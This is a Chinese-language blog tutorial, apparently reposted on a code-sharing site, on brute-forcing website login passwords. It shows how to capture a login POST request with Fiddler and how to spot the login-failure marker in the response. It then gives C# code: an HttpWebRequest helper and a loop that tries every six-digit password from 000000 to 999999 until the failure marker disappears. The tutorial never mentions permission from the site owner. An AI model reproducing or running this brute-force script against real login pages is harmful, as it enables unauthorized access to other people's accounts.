網絡爬蟲(密碼破解)


  用到的技術也同樣是網絡抓包、DOM樹分析、網絡請求等。

  1. 網絡抓包
  2. dom樹分析
  3. 網絡請求
  4. 循環破解

 網絡抓包

       這里抓包很簡單,首先打開fiddler軟件,然后打開你要破解的網站,輸入用戶名和一個假的密碼(如果你知道真的密碼,就不需要破解了),點擊登錄,這時候就會從fiddler中查看到一條登錄的請求,一般都是POST請求,可以很清楚的從請求內容中看到請求的URl、用戶名、密碼等,將該語句復制下來,准備下一步工作。

 dom樹分析

       這里的DOM樹分析,只需要分析剛剛那條登錄請求的結果即可,一般都是提示你登錄失敗,但是有些返回的是整個html頁面,有些是json語句等等,但是終歸你會找到一個標識你登錄失敗的地方,將這個也記錄下來,准備下一步工作。

 網絡請求

       此次網絡請求在上一篇文章中也有過介紹,在這里我再放出代碼,但需要強調的是using (StreamReader sr = new StreamReader(instream, encoding))中的encoding,如果你能看出返回網頁的編碼方式,這里就改成相應的編碼,否則中午會出現亂碼的情況,如果不知道,那么可以用GB2312等逐一測試,直到不出現亂碼為止。

 
        
public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null){
    HttpWebResponse response = null;
    HttpWebRequest request = null;
    if (cookie == null)
        cookie = new CookieContainer();
    // 准備請求...
    try
    {
        // 設置參數
        request = WebRequest.Create(url) as HttpWebRequest;
        request.CookieContainer = cookie;
        request.AllowAutoRedirect = true;
        request.Method = method.ToUpper();
        request.ContentType = "application/x-www-form-urlencoded";
        string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)");
        request.UserAgent = userAgent;
        request.ContentLength = postData.Length;
        if (method.ToUpper() == "POST")
        {
            if (!string.IsNullOrEmpty(postData))
            {
                byte[] data = Encoding.Default.GetBytes(postData);
                request.ContentLength = data.Length;
                using (Stream outstream = request.GetRequestStream())
                {
                    outstream.Write(data, 0, data.Length);
                }
            }
        }
        //發送請求並獲取相應回應數據
        response = request.GetResponse() as HttpWebResponse;
        //直到request.GetResponse()程序才開始向目標網頁發送Post請求
        using (Stream instream = response.GetResponseStream())
        {
            using (StreamReader sr = new StreamReader(instream, encoding))
            {
                //返回結果網頁(html)代碼
                string content = sr.ReadToEnd();
                return content;
            }
        }
    }
    catch (Exception ex)
    {
        string err = ex.Message;
        return err;
    }
    finally
    {
        if (response != null)
            response.Close();
    }
}

  

 

循環破解

       這里是本文的核心,知道了登錄的請求方式以及登錄失敗的提示,接下來就是通過像我們當年破解密碼箱密碼一樣一個個去試,這里只不過用程序自動完成,首先寫個循環從0循環到999999(假設6位數密碼),然后拼接登錄請求中的數據(包含用戶名、密碼),然后發送網絡請求判斷請求的結果,如果包含之前找到的失敗標識,繼續循環,如果不包含,恭喜你密碼找到了。代碼如下:

int start = 0;
int end = 999999;
for (int i = start; i <= end; i++)
{
    var pass = i.ToString().PadLeft(6, '0');//不足6位,左邊補0
    var post = "usename=yourname" + "&password=" + pass;//拼接請求的數據
    var res = GetContent("POST", loginurl, post);

    if (!res.Contain("失敗標識"))
    {
        MessageBox.Show("密碼是:" + pass);
        return;
    }
}

  

       其中i.ToString().PadLeft(6, '0')的作用是不足6位補0,讓密碼滿足6位。var post = "usename=yourname" + "&password=" + pass的作用是拼接發送的數據。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM